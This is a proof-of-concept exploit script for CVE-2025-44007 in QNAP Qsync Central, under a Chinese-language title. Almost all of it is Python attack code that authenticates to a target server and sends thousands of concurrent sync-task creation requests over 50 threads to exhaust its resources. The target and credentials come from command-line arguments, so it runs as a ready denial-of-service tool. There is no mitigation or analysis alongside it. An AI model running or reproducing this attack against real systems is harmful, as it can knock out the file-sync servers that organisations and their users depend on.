CVE-2025-44007 QNAP Qsync Central资源分配无限制漏洞

#!/usr/bin/env python3 # CVE-2025-44007 - QNAP Qsync Central Resource Exhaustion PoC # This PoC demonstrates how an authenticated attacker can exhaust # server resources by sending a large number of resource-consuming requests. import requests import threading import time import sys from concurrent.futures import ThreadPoolExecutor, as_completed # Configuration TARGET_HOST = "https://qsync-target.example.com" # Target Qsync Central server USERNAME = "victim_user" # Valid Qsync account PASSWORD = "P@ssw0rd!" # Account password SYNC_FOLDER = "/test_sync" # Sync folder path MAX_THREADS = 50 # Number of concurrent threads REQUESTS_PER_THREAD = 200 # Requests per thread class QsyncResourceExhaustion: """PoC for CVE-2025-44007: Allocation of Resources Without Limits or Throttling""" def __init__(self, host, username, password): self.host = host.rstrip("/") self.username = username self.password = password self.session = requests.Session() self.session.verify = False self.success_count = 0 self.fail_count = 0 self.lock = threading.Lock() def authenticate(self): """Authenticate to Qsync Central and obtain session cookie""" login_url = f"{self.host}/cgi-bin/qsync/qsync.cgi" payload = { "action": "login", "username": self.username, "password": self.password } try: resp = self.session.post(login_url, data=payload, timeout=10) if resp.status_code == 200 and "sid" in self.session.cookies: print(f"[+] Authenticated successfully as {self.username}") return True print(f"[-] Authentication failed: {resp.status_code}") return False except Exception as e: print(f"[-] Connection error during auth: {e}") return False def create_sync_session(self, thread_id, req_id): """Repeatedly create sync sessions to exhaust server resources""" url = f"{self.host}/cgi-bin/qsync/qsync.cgi" params = { "action": "create_sync_task", "folder": SYNC_FOLDER, "mode": "continuous", "conflict_policy": "rename" } try: resp = self.session.post(url, params=params, timeout=15) with self.lock: if resp.status_code == 200: self.success_count += 1 else: self.fail_count += 1 return resp.status_code except requests.exceptions.Timeout: with self.lock: self.fail_count += 1 return None except Exception: with self.lock: self.fail_count += 1 return None def run_exhaustion(self): """Launch multi-threaded resource exhaustion attack""" print(f"[*] Starting resource exhaustion with {MAX_THREADS} threads") print(f"[*] Target: {self.host}") print(f"[*] Sending {MAX_THREADS * REQUESTS_PER_THREAD} total requests...") start_time = time.time() with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: futures = [] for t in range(MAX_THREADS): for r in range(REQUESTS_PER_THREAD): futures.append( executor.submit(self.create_sync_session, t, r) ) for future in as_completed(futures): pass # Results tracked via counters elapsed = time.time() - start_time print(f"\n[+] Attack completed in {elapsed:.2f}s") print(f"[+] Successful requests: {self.success_count}") print(f"[+] Failed/timeout requests: {self.fail_count}") if self.fail_count > self.success_count * 0.3: print("[!] Server appears to be experiencing resource exhaustion!") def main(): requests.packages.urllib3.disable_warnings() if len(sys.argv) >= 4: target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] else: target = TARGET_HOST username = USERNAME password = PASSWORD exploit = QsyncResourceExhaustion(target, username, password) if exploit.authenticate(): exploit.run_exhaustion() else: print("[-] Exiting: authentication required for this vulnerability") sys.exit(1) if __name__ == "__main__": main()